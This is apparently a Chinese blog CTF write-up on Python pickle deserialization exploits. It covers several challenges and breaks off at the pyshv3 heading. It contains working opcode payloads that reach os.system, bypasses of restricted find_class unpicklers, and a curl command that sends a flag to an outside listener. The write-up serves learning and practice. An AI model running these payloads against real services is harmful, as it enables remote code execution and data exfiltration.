沉铝汤的破站

IS LIFE ALWAYS THIS HARD, OR IS IT JUST WHEN YOU'RE A KID

Pickle反序列化漏洞の实践

0x00 前言


在上一篇文章中(Python之Pickle反序列化),我们初步了解了Pickle反序列化以及一些常用的OPCode的含义,但是我们还没有来探讨Pickle在反序列化时可能产生的漏洞,所以在这篇文章中,就让我们通过一些题目,来学习一下Pickle的反序列化漏洞吧。

本篇文章包含以下元素:

  • Pickle反序列化漏洞的利用
  • 有趣的CTF题目

懒狗把收集的题目打包在了Github上(chenlvtang/PickleUnserialization),可以fork一份来自己练习

0x01 pickle store


环境搭建

有Dockefile,但是编译了几次,都卡在了选择时区上,网上搜了搜,加了一个ENV DEBIAN_FRONTEND=noninteractive, 终于编译好了…心累,差不多每次都要修一修Dockerfile。然后仔细一看,container文件夹下少了flag.txt,自己加了一个。重新编译,慢的一批,玩了好久手机,真不是我想摸鱼。运行后访问,500,真的麻了。后来想到直接用Flask运行就完事了,结果又报错一个TypeError: Missing required parameter 'digestmod'.,看github上升级impacket,然并卵。代码中确实没有传这个参数,但是看网上好像是可以缺省,缺省默认为md5,搞不懂,就加上算了,h = hmac.new(key,digestmod='sha1')….哎,终于可以了

网站功能

image-20210901174011601

是个卖pickle腌黄瓜的网站,应该是用钱买flag,最是第三个,但是我们的钱显然不够。钱应该是在Cookie里,是个base64,解码看看:

image-20210902164457387

…要不是这里专门学Pickle,我真不知道这是个啥。其实这是Pickle序列化后的内容,我们还是可以看到一些我们眼熟的( u ] }之类的。这里应该是不能靠修改cookie中的Money来增加钱的,后面有个hmac,来防止我们修改,那直接手搓一个Pickle,让他在反序列化的时候就直接执行代码。直接使用c来引入模块,然后用R来执行吧😋。最后因为懒得手搓,干脆就让python帮我生成一个吧(懒🐕), 记得上文我们说过使用__reduce__方法(这个方法会告诉pickle反序列化时做什么,相当于PHP中的__wakeup, 要在类中使用)会生成R指令。

import pickle
import os

class Test:
    def __reduce__(self):
        return(os.system,('whoami',))

test = Test()
payload = pickle.dumps(test, 0)
print(payload)
test_result = pickle.loads(payload)

拿到payload后,记得base64加密一下,因为服务端应该会把cookie先base64解码,再反序列化,然后再进行操作。然后我们的命令也要换一下,换成外带数据的吧。不然可能500。(如果你看源码,会发现对Pickle反序列化没做任何过滤,所以不考虑绕过啥的)

exp

import requests
import base64

target = "http://192.168.65.129"

#因为服务器是Linux,所以是posix;如果服务器是Windows,改成nt
payload =b'cposix\nsystem\np0\n(Vcurl http://192.168.65.1:2333/`cat flag* | base64`\np1\ntp2\nRp3\n.'


if __name__ == "__main__":
    exp = base64.b64encode(payload).decode("utf-8")
    cookie = {"session": exp}
    print(cookie)

    session = requests.session()
    r = session.post(url = target + "/buy", cookies = cookie)
    print(r.text)

0x02 picklecode


环境搭建

给出了docker-compose.yml,十分的方便与快捷捏。

网站功能

…是Django,不会做,而且环境好像也有点问题,这题包含两部分,第一部分是利用格式化字符串漏洞拿到session code,第二部分是手搓Pickle,然后利用以上两者来替换Cookie,即可进行命令执行。因为Django也不会,这里又主讲Pickle, 那就直接把反序列化的部分提炼出来吧,内容如下:

import pickle
import io
import builtins

__all__ = ('PickleSerializer', )


class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))


class PickleSerializer():
    def dumps(self, obj):
        return pickle.dumps(obj)

    def loads(self, data):
        try:
            if isinstance(data, str):
                raise TypeError("Can't load pickle from unicode string")
            file = io.BytesIO(data)
            return RestrictedUnpickler(file,
                encoding='ASCII', errors='strict').load()
        except Exception as e:
            print(e) 

if __name__ == "__main__":
    payload = b'cnt\nsystem\np0\n(Vcurl http://192.168.65.1:2333/`cat flag*`\np1\ntp2\nRp3\n.'
    myPickleEngine = PickleSerializer()
    myPickleEngine.loads(payload)

这里参照了Python官方给出的保证反序列安全的方法,通过自定义过程类中的find_class方法,来防止pickle自动引入一些危险的类,详见:pickle — Python object serialization。但是不同的是,官方给出的是白名单,这里则是黑名单,所以,这里会存在绕过的问题。

可以看到的是,这里只允许引入使用builtins模块,即Python3内建模块,并禁止了一些函数,但是因为是黑名单,所以很其他一些遗漏的函数可供我们利用,比如我们可以使用builtins.__dict__.get('eval')来获得eval函数,要实现这样的结果,我们可以使用getattr,形如builtins.getattr(builtins.__dict__,'get')('eval'),因为这里模块名是builtins,函数名为getattr或__dict__,都不在黑名单中,所以都可以绕过过滤。大致的OPCode像这样:"cbuiltins\ngetattr\n(cbuiltins\n__dict__\nS'get'\ntR(S'eval'\ntR.",然后就可以利用eval来执行命令了: pickle.loads(b"cbuiltins\ngetattr\n(cbuiltins\n__dict__\nS'get'\ntR(S'eval'\ntR(S'__import__('os').system('whoami')'\ntR.")

exp

image-20210904230700874

0x03 webtmp


环境搭建

使用Flask,直接run

网站功能

image-20210905085818637

需要输入base64加密后的Pickle数据,查看源码:

import secret
#.....
if request.method == 'POST':
    try:
        pickle_data = request.form.get('data')
        if b'R' in base64.b64decode(pickle_data): # 不能包含R字符
            return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
        else:
            result = restricted_loads(base64.b64decode(pickle_data)) # 被反序列化
            if type(result) is not Animal:
                return 'Are you sure that is an animal???'
            correct = (result == Animal(secret.name, secret.category)) # 对比是否一致
            return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
    except Exception as e:
        print(repr(e))
        return "Something wrong"

如果和 Animal(secret.name, secret.category)一致就会给出flag,但是我们并不知道secret中的name和category的值,所以也就得不到flag。可以看到这里直接禁止了R指令,另外还重写了find_class来限制:

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == '__main__':
            return getattr(sys.modules['__main__'], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

好在我们可以利用Pickle中的b来进行变量覆盖。

exp

import requests
import pickle
import base64

payload=b'c__main__\nsecret\n(S"name"\nS"foo"\nS"category"\nS"bar"\ndb(S"foo"\nS"bar"\ni__main__\nAnimal\n.'

exp = base64.b64encode(payload).decode()
print(exp)

image-20210905104428249

0x04 pyshv1


环境搭建

懒得搭建了,直接用python运行pyshv1\_files\task\home\task\server.py就行了

审题

#pickle.whitelist.append('sys') 

class RestrictedUnpickler(pickle.Unpickler):

    def find_class(self, module, name):
        if module not in whitelist or '.' in name:
            raise KeyError('The pickle is spoilt :(')
        return pickle.Unpickler.find_class(self, module, name)


def loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()

只允许导入sys模块,并且Object不能有点,来限制导入子模块(事实上我都不知道怎么导入子模块…)。sys模块又没有builtins模块中的getattr,不然还可以和那一题一样,看起来好像是没得搞了。其实还是有的搞的😋:sys模块中有个modules,是一个全局字典,会在python程序启动时,将导入过的模块放入字典之中,当下次再调用时,就可以直接从内存中取出,十分滴方便与快捷捏。由上,我们很容易就能够想到,sys模块也会在sys.modules之中。另外,我们注意到modules是一个字典,我们如果修改了字典的值,再次导入同名模块时,也会发生改变,而利用pickle来修改一个字典的值又是非常简单的。所以我们可以想到这样的骚操作:将sys.moudles中的sys的值为其他模块不断修改来实现在通过sys.ObjectName验证的同时又可以调用出其他模块中的方法。具体思路如下:

  • 将sys.modules中的sys的值改为sys.modules
  • 因为此时的sys是一个字典,所以可以通过sys调用出get方法
  • 通过get方法,来获得字典中os模块
  • 修改字典中sys的值改为os
  • 这时候就可以直接用sys来获取system函数了
  • 利用system函数执行命令

将以上思路转写成pickle:

  • csys\nmodules\np0\nS’sys’\ng0\ns
  • csys\nget\np1\n
  • g1\n(S’os’\ntRp2\n
  • g0\nS’sys’\ng2\ns (直接写sys\nS’sys’\ntg2\ns是不行的,p0任然指向的是原sys.moudles处,所以可以利用)
  • csys\nsystem\np3\n
  • g3\n(S’whoami’\ntR.

组合一下得到payload:

b"csys\nmodules\np0\nS'sys'\ng0\nscsys\nget\np1\ng1\n(S'os'\ntRp2\ng0\nS'sys'\ng2\nscsys\nsystem\np3\ng3\n(S'whoami'\ntR."

image-20210907230739242

exp

import base64

payload = b"csys\nmodules\np0\nS'sys'\ng0\nscsys\nget\np1\ng1\n(S'os'\ntRp2\ng0\nS'sys'\ng2\nscsys\nsystem\np3\ng3\n(S'whoami'\ntR."

exp = base64.b64encode(payload).decode()

print(exp)

虽然报错了,但是成功执行了我们的命令

image-20210908090749697

0x05 pyshv2


环境搭建

和上一题一样,懒得搭建了,待会直接运行就行了

审计

#pickle.whitelist.append('structs')
class RestrictedUnpickler(pickle.Unpickler):

    def find_class(self, module, name):
        if module not in whitelist or '.' in name:
            raise KeyError('The pickle is spoilt :(')
        module = __import__(module)
        return getattr(module, name)

可以看到的是白名单这次是换了一个自定义模块,查看源码后,发现这是一个空的py文件。另外值得注意的是,这次这里的导入模块有点不同,官方是直接使用getattr(moudule,name),这里多使用了一次__import__,所以这可能会造成一些问题。现在我们先不管这个,先来想想攻击思路(结合上面做的题,懒狗很自然的想到了下面的方法):

  • 导入structs中的__dict__获得字典
  • 向字典中添加’structs’,并将值设置为structs.__builtins__
  • 如果我们能直接用structs来表示字典中的’structs’,岂不是直接可以structs.get(“eval”)

然后理想很丰满,现实很骨干,我们并不能直接用structs来表示字典中的structs。这时候我们就注意到上面多余的__import__,这个方法是存在于__builtins__中的,且现在我们已经可以获得,如果直接修改__import__的值为structs.__getattribure__,那么在我们使用cstructs\nget\n的时候,最后的调用岂不是就变成了getattr(structs.__getattribute__(structs), 'get'), 这样就可以直接执行命令了!?所以我们重写思路如下:

  • 导入structs中的__dict__获得字典,记为p0
  • 导入structs.__builtins__ ,记为p1
  • 为字典添加’structs’,并将值设为p1
  • 修改p1中的__import__的值为structs.__getattribute__
  • 通过structs导入get,然后调用eval执行命令

写成pickle的形式,如下:

  • cstructs\n__dict__\np0\n
  • cstructs\n__builtins__\np1\n
  • g0\nS’structs’\ng1\ns
  • g1\nS’__import__’\ncstructs\n__getattribute__\ns
  • cstructs\nget\n(S’eval’\ntR(S’pickle.sys.modules[\‘os\‘].system(\‘whoami\‘)’\ntR. (这里不能再使用__import__了,所以通过已经导入的pickle模块来调用system)

拼接后,得到payload为:

cstructs\n__dict__\np0\ncstructs\n__builtins__\np1\ng0\nS'structs'\ng1\nsg1\nS'__import__'\ncstructs\n__getattribute__\nscstructs\nget\n(S'eval'\ntR(S'pickle.sys.modules[\'os\'].system(\'whoami\')'\ntR.

exp

import base64

payload = b"cstructs\n__dict__\np0\ncstructs\n__builtins__\np1\ng0\nS'structs'\ng1\nsg1\nS'__import__'\ncstructs\n__getattribute__\nscstructs\nget\n(S'eval'\ntR(S'pickle.sys.modules[\'os\'].system(\'whoami\')'\ntR."
exp = base64.b64encode(payload).decode()

print(exp)

0x06 pyshv3


环境搭建

懒得搭建

审计